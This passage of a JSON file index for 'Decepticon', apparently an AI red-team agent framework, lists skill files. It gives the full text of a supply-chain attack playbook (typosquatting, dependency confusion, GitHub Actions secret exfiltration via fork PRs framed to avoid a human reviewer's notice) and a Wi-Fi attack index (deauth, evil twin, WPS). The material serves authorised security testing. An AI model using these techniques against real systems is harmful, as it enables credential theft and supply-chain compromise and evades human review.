GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md)","tokens":300,"sizeBytes":312},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md","title":"scattered-spider","category":"anthropic-skill","format":"markdown","content":"# scattered-spider\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md)","tokens":300,"sizeBytes":336},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md","title":"emulation","category":"anthropic-skill","format":"markdown","content":"# emulation\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md)","tokens":300,"sizeBytes":295},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md","title":"volt-typhoon","category":"anthropic-skill","format":"markdown","content":"# volt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md)","tokens":300,"sizeBytes":324},{"name":"adversary-archetypes.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md)","tokens":300,"sizeBytes":334},{"name":"apt-groups.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md)","tokens":300,"sizeBytes":314},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md","title":"threat-profile","category":"anthropic-skill","format":"markdown","content":"# threat-profile\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md)","tokens":300,"sizeBytes":280},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/supply-chain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/supply-chain/SKILL.md","title":"supply-chain-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: supply-chain-overview\ndescription: >\n Use when the engagement scope includes supply-chain attack simulation —\n typosquatted package publication, dependency confusion, GitHub Actions\n secret mining, internal mirror poisoning, OAuth-app impersonation,\n or vendor portal credential abuse.\nmetadata:\n skillogy:\n version: 1\n subdomain: supply-chain\n when_to_use: \"supply chain typosquat dependency confusion gh actions secret oauth app impersonation internal mirror poisoning vendor portal\"\n tags: supply-chain, typosquatting, dep-confusion, gh-actions, oauth-app\n mitre_attack: T1195, T1195.001, T1195.002, T1199, T1136, T1543\n---\n\n# Supply Chain Operator Skill Catalog\n\nSupply-chain attacks have grown 1,300% since 2020 per Decepticon's own\n[ai-red-teaming.md](../../red-team/tools-techniques.md). This catalog\ngives the agent the playbooks to simulate the most common patterns —\nall in a sandbox-isolated mode that publishes to a local mock registry by\ndefault and to a real one only with `supply_chain_real_publish=true` in\nConOps.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the technical guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **typo-name-gen** | Generate typosquat candidates for a target package; reachability + popularity score |\n| **dep-confusion-probe** | Check whether an internal package name is squat-able on PyPI / NPM / RubyGems / NuGet |\n| **post-install-script** | Author + sandboxed publish of a benign post-install probe |\n| **gh-actions-fork-pr** | Fork-PR secret mining; `pull_request_target` misconfiguration scan |\n| **oauth-app-impersonation** | Lookalike OAuth app + scope-creep social engineering |\n| **internal-mirror-poison** | Verdaccio / Artifactory / Nexus index manipulation |\n| **sbom-divergence** | Audit SBOM vs actual installed packages for drift |\n| **vendor-portal-creds** | SaaS vendor admin portal credential abuse paths |\n\n## Dry-run mode\n\nAll publish-mode skills accept a `--dry-run` flag that:\n\n1. Generates the typosquat package contents in `/workspace/typo-pkg/`.\n2. Builds the artifact (`.tar.gz`, `.tgz`, etc.) without uploading.\n3. Computes the \"hit probability\" via the target package's historical\n download counts + Levenshtein distance.\n4. Reports the artifact location + hit probability for human review.\n\nReal publish requires both `supply_chain_real_publish=true` in ConOps AND\noperator HITL approval at the moment of publish. Defense in depth.\n\n## GitHub Actions attack surface\n\nMost rewarding attack class in 2024-2026. Common misconfigurations:\n\n- `pull_request_target` with `actions/checkout` of `${{ github.event.pull_request.head.sha }}`\n → fork PRs run with target-repo secrets.\n- `workflow_run` triggers reading `inputs` without sanitization.\n- `${{ github.event.pull_request.title }}` interpolated into shell.\n- Shared `GITHUB_TOKEN` with write scope on `contents`.\n\nThe `gh-actions-fork-pr` skill encodes the full enumeration: search the\ntarget org's workflows, identify exploitable patterns, build a PoC fork\nPR that exfiltrates `secrets.*` without modifying the workflow file\nitself (so the operator's PR doesn't look obviously malicious to a human\nreviewer).\n\n## Detection references\n\nSupply-chain detection and assurance artifacts include:\n\n- A Sigma rule for the SIEM (e.g., unusual `npm install` in CI logs,\n `actions/checkout@` followed by `secrets.*` reference patterns).\n- A GitHub Actions YAML linter rule for the customer's pre-merge checks.\n- A SLSA attestation gap report.\n\n## Out of scope\n\nReal-world publication that could harm third parties (other companies\nwho consume the customer's internal packages). The `dep-confusion-probe`\nexplicitly avoids this by checking name availability without uploading;\nthe operator decides whether to follow through.\n","frontmatter":{"name":"supply-chain-overview","description":"Use when the engagement scope includes supply-chain attack simulation — typosquatted package publication, dependency confusion, GitHub Actions secret mining, internal mirror poisoning, OAuth-app impersonation, or vendor portal credential abuse.\n","metadata":{"skillogy":{"version":1},"subdomain":"supply-chain","when_to_use":"supply chain typosquat dependency confusion gh actions secret oauth app impersonation internal mirror poisoning vendor portal","tags":"supply-chain, typosquatting, dep-confusion, gh-actions, oauth-app","mitre_attack":"T1195, T1195.001, T1195.002, T1199, T1136, T1543"}},"isInternal":false,"tokens":946,"sizeBytes":4031},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md","title":"deauth-pmf","category":"anthropic-skill","format":"markdown","content":"# deauth-pmf\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md","title":"evil-twin-karma","category":"anthropic-skill","format":"markdown","content":"# evil-twin-karma\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md)","tokens":300,"sizeBytes":281},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md","title":"krack-fragattacks","category":"anthropic-skill","format":"markdown","content":"# krack-fragattacks\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/SKILL.md","title":"wireless-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: wireless-overview\ndescription: >\n Top-level index for the Decepticon 802.11 wireless attack suite. Routes the\n WirelessOperator to the correct leaf skill based on the target AP's crypto\n column (PSK / SAE / MGT / WPS) and engagement posture. BLE, Zigbee, Z-Wave,\n LoRaWAN, and sub-GHz live under iot/ by design — link provided below to\n prevent duplication.\nallowed-tools: Bash Read Write\nmetadata:\n skillogy:\n version: 1\n subdomain: wireless\n when_to_use: \"Wi-Fi, 802.11, WPA2, WPA3, EAP, enterprise, evil-twin, deauth, WPS, PSK, SAE, wireless attack, airspace, WLAN, rogue AP\"\n tags:\n - wifi\n - 802.11\n - wpa2\n - wpa3\n - eap\n - evil-twin\n - deauth\n - wps\n mitre_attack: T1040, T1557, T1110.001\n---\n\n# 802.11 Wireless Attack Suite — Operator Index\n\n> Verify the configured hardware mode and authorized wireless scope\n> before using a leaf skill. This index maps the target's crypto mode\n> to the applicable techniques.\n\n## Playbook table\n\n| Leaf skill | Crypto column / trigger | Primary MITRE | Status |\n|---|---|---|---|\n| [wpa2-psk](wpa2-psk/SKILL.md) | `WPA2 PSK`, `WPA PSK` | T1040, T1110.001 | shipped |\n| [wpa3-sae](wpa3-sae/SKILL.md) | `WPA3 SAE`, `WPA2 WPA3` transition mode | T1557, T1040 | shipped |\n| [wpa-enterprise-eap](wpa-enterprise-eap/SKILL.md) | `MGT`, `WPA-Enterprise`, `802.1X` | T1557, T1110.001 | shipped |\n| [wps-pixie-dust](wps-pixie-dust/SKILL.md) | WPS column non-empty, `WPS` flag in wash | T1110.001, T1040 | shipped |\n| [evil-twin-karma](evil-twin-karma/SKILL.md) | Open / PSK, PNL probe leakage, captive portal | T1557, T1556 | shipped |\n| [deauth-pmf](deauth-pmf/SKILL.md) | Any target needing client reconnect or 802.11w posture finding | T1498, T1040 | shipped |\n| [krack-fragattacks](krack-fragattacks/SKILL.md) | Legacy / embedded supplicant, key-reinstallation / fragmentation test | T1557, T1040 | shipped |\n\n> BLE GATT, Zigbee Touchlink, Z-Wave, LoRaWAN, and sub-GHz attacks\n> are scoped to `standard/iot/`. Cross-reference that suite when the\n> objective targets non-802.11 RF.\n\n## Hardware mode pointer\n\nLeaf skills require the configured mode and its actual hardware access:\n\n```\nmode = plan/roe.json:machine_enforcement.wireless.mode\n \"in_sandbox\" → USB passthrough, monitor mode inside Kali\n \"dropbox\" → ssh -- '' for every wireless op\n \"none\" → refuse, return outcome=blocked\n```\n\n## Crypto-mode decision tree\n\n```\nairodump-ng --write-interval 1 --output-format csv ...\nRead the ENC/CIPHER/AUTH columns:\n\n ENC=WPA2, AUTH=PSK → wpa2-psk\n ENC=WPA3, AUTH=SAE → wpa3-sae\n ENC=WPA2+WPA3, AUTH=SAE+PSK → wpa3-sae (transition-mode downgrade path)\n AUTH=MGT / 802.1X → wpa-enterprise-eap\n WPS column non-empty → wps-pixie-dust (run in parallel with PSK path)\n Open / no credential needed → evil-twin-karma (KARMA/portal capture)\n\nAfter selecting the primary leaf, always check:\n - deauth-pmf: needed if Path B (four-way) is chosen OR as standalone PMF finding\n - krack-fragattacks: applicable when target is legacy/embedded/poor-patch-cadence\n```\n\n## KG node contract\n\nAll wireless leaf skills use the same node types:\n\n| Node kind | Typical props |\n|---|---|\n| `Network` | ssid, bssid, channel, crypto, pmf_state |\n| `Host` | mac, oui, last_seen_bssid |\n| `Credential` | secret_type, ssid, bssid, psk/eap_identity/eap_challenge |\n| `Finding` | title, cve_ids (if applicable), severity, remediation |\n\n## OPSEC posture cross-reference\n\n| posture | techniques permitted |\n|---|---|\n| `stealth` | PMKID (wpa2-psk Path A), passive PMF detect (deauth-pmf), Pixie-Dust only |\n| `standard` | + targeted deauth (1 frame), EAP capture, WPS Pixie-Dust |\n| `loud` | + broadcast deauth, evil-twin, KARMA, beacon flood, online WPS brute |\n\n> Evil-twin always requires explicit `permitted_actions: evil_twin` in\n> `plan/roe.json` regardless of posture.\n","frontmatter":{"name":"wireless-overview","description":"Top-level index for the Decepticon 802.11 wireless attack suite. Routes the WirelessOperator to the correct leaf skill based on the target AP's crypto column (PSK / SAE / MGT / WPS) and engagement posture. BLE, Zigbee, Z-Wave, LoRaWAN, and sub-GHz live under iot/ by design — link provided below to prevent duplication.\n","allowed-tools":"Bash Read Write","metadata":{"skillogy":{"version":1},"subdomain":"wireless","when_to_use":"Wi-Fi, 802.11, WPA2, WPA3, EAP, enterprise, evil-twin, deauth, WPS, PSK, SAE, wireless attack, airspace, WLAN, rogue AP","tags":["wifi",802.11,"wpa2","wpa3","eap","evil-twin","deauth","wps"],"mitre_attack":"T1040, T1557, T1110.001"},"allowedTools":["Bash","Read","Write"]},"allowedTools":["Bash","Read","Write"],"isInternal":false,"tokens":1226,"sizeBytes":3924},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md","title":"wpa-enterprise-eap","category":"anthropic-skill","format":"markdown","content":"# wpa-enterprise-eap\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md","title":"wpa2-psk","category":"anthropic-skill","format":"markdown","content":"# wpa2-psk\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md","title":"wpa3-sae","category":"anthropic-skill","format":"markdown","content":"# wpa3-sae\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md","title":"wps-pixie-dust","category":"anthropic-skill","format":"markdown","content":"# wps-pixie-dust\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md)","tokens":300,"sizeBytes":278},{"name":"killchain.yaml","path":"packages/decepticon/decepticon/tools/references/killchain.yaml","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/tools/references/killchain.yaml","title":"References Skill","category":"anthropic-skill","format":"yaml","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/tools/references/killchain.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/tools/references/killchain.yaml)","tokens":300,"sizeBytes":246},{"name":"bad_mitre.md","path":"packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md","title":"Fixtures Skill","category":"anthropic-skill","format":"markdown","content":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md)","tokens":300,"sizeBytes":248},{"name":"clean.md","path":"packages/decepticon/tests/unit/skill_audit/fixtures/clean.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/clean.md","title":"Fixtures Skill","category":"anthropic-skill","format":"markdown","content":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/clean.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/clean.md)","tokens":300,"sizeBytes":240},{"name":"missing_subdomain.md","path":"packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md","title":"Fixtures Skill","category":"anthropic-skill","format":"markdown","content":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md)","tokens":300,"sizeBytes":264},{"name":"no_attribution.md","path":"packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md","title":"Fixtures Skill","category":"anthropic-skill","format":"markdown","content":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md)","tokens":300,"sizeBytes":258},{"name":"reporting_skill.md","path":"packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md","title":"Fixtures Skill","category":"anthropic-skill","format":"markdown","content":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md)","tokens":300,"sizeBytes":260},{"name":"README.md","path":"packages/decepticon-core/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-core/README.md","title":"decepticon-core Documentation","category":"plugin-manifest","format":"markdown","content":"# decepticon-core Documentation\n\nPath: `packages/decepticon-core/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-core/README.md)","tokens":300,"sizeBytes":203},{"name":"README.md","path":"packages/decepticon-sdk/examples/agent/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/agent/README.md","title":"agent Documentation","category":"plugin-manifest","format":"markdown","content":"# agent Documentation\n\nPath: `packages/decepticon-sdk/examples/agent/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/agent/README.md)","tokens":300,"sizeBytes":221},{"name":"README.md","path":"packages/decepticon-sdk/examples/callback/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/callback/README.md","title":"callback Documentation","category":"plugin-manifest","format":"markdown","content":"# callback Documentation\n\nPath: `packages/decepticon-sdk/examples/callback/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/callback/README.md)","tokens":300,"sizeBytes":230},{"name":"README.md","path":"packages/decepticon-sdk/examples/middleware/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/middleware/README.md","title":"middleware Documentation","category":"plugin-manifest","format":"markdown","content":"# middleware Documentation\n\nPath: `packages/decepticon-sdk/examples/middleware/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/middleware/README.md)","tokens":300,"sizeBytes":236},{"name":"README.md","path":"packages/decepticon-sdk/examples/prompt/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/prompt/README.md","title":"prompt Documentation","category":"plugin-manifest","format":"markdown","content":"# prompt Documentation\n\nPath: `packages/decepticon-sdk/examples/prompt/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/prompt/README.md)","tokens":300,"sizeBytes":224},{"name":"README.md","path":"packages/decepticon-sdk/examples/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/README.md","title":"examples Documentation","category":"plugin-manifest","format":"markdown","content":"# examples Documentation\n\nPath: `packages/decepticon-sdk/examples/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/README.md)","tokens":300,"sizeBytes":212},{"name":"README.md","path":"packages/decepticon-sdk/examples/skill/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/skill/README.md","title":"skill Documentation","category":"plugin-manifest","format":"markdown","content":"# skill Documentation\n\nPath: `packages/decepticon-sdk/examples/skill/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/skill/README.md)","tokens":300,"sizeBytes":221},{"name":"README.md","path":"packages/decepticon-sdk/examples/tool/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/tool/README.md","title":"tool Documentation","category":"plugin-manifest","format":"markdown","content":"# tool Documentation\n\nPath: `packages/decepticon-sdk/examples/tool/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/tool/README.md)","tokens":300,"sizeBytes":218},{"name":"README.md","path":"packages/decepticon-sdk/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/README.md","title":"decepticon-sdk Documentation","category":"plugin-manifest","format":"markdown","content":"# decepticon-sdk Documentation\n\nPath: `packages/decepticon-sdk/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/README.md)","tokens":300,"sizeBytes":200},{"name":"README.md","path":"packages/decepticon/README.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/README.md","title":"decepticon Documentation","category":"plugin-manifest","format":"markdown","content":"# decepticon Documentation\n\nPath: `packages/decepticon/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/README.md)","tokens":300,"sizeBytes":188},{"name":"language.md","path":"packages/decepticon/decepticon/agents/prompts/language.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/language.md","title":"Subagent: language","category":"subagent-persona","format":"markdown","content":"# Subagent: language\n\nPath: `packages/decepticon/decepticon/agents/prompts/language.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/language.md)","tokens":300,"sizeBytes":238},{"name":"detector.md","path":"packages/decepticon/decepticon/agents/prompts/plugins/detector.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/detector.md","title":"Subagent: detector","category":"subagent-persona","format":"markdown","content":"# Subagent: detector\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/detector.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/detector.md)","tokens":300,"sizeBytes":254},{"name":"exploiter.md","path":"packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md","title":"Subagent: exploiter","category":"subagent-persona","format":"markdown","content":"# Subagent: exploiter\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md)","tokens":300,"sizeBytes":257},{"name":"patcher.md","path":"packages/decepticon/decepticon/agents/prompts/plugins/patcher.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/patcher.md","title":"Subagent: patcher","category":"subagent-persona","format":"markdown","content":"# Subagent: patcher\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/patcher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/patcher.md)","tokens":300,"sizeBytes":251},{"name":"scanner.md","path":"packages/decepticon/decepticon/agents/prompts/plugins/scanner.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/scanner.md","title":"Subagent: scanner","category":"subagent-persona","format":"markdown","content":"# Subagent: scanner\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/scanner.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/scanner.md)","tokens":300,"sizeBytes":251},{"name":"verifier.md","path":"packages/decepticon/decepticon/agents/prompts/plugins/verifier.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/verifier.md","title":"Subagent: verifier","category":"subagent-persona","format":"markdown","content":"# Subagent: verifier\n\nPath: 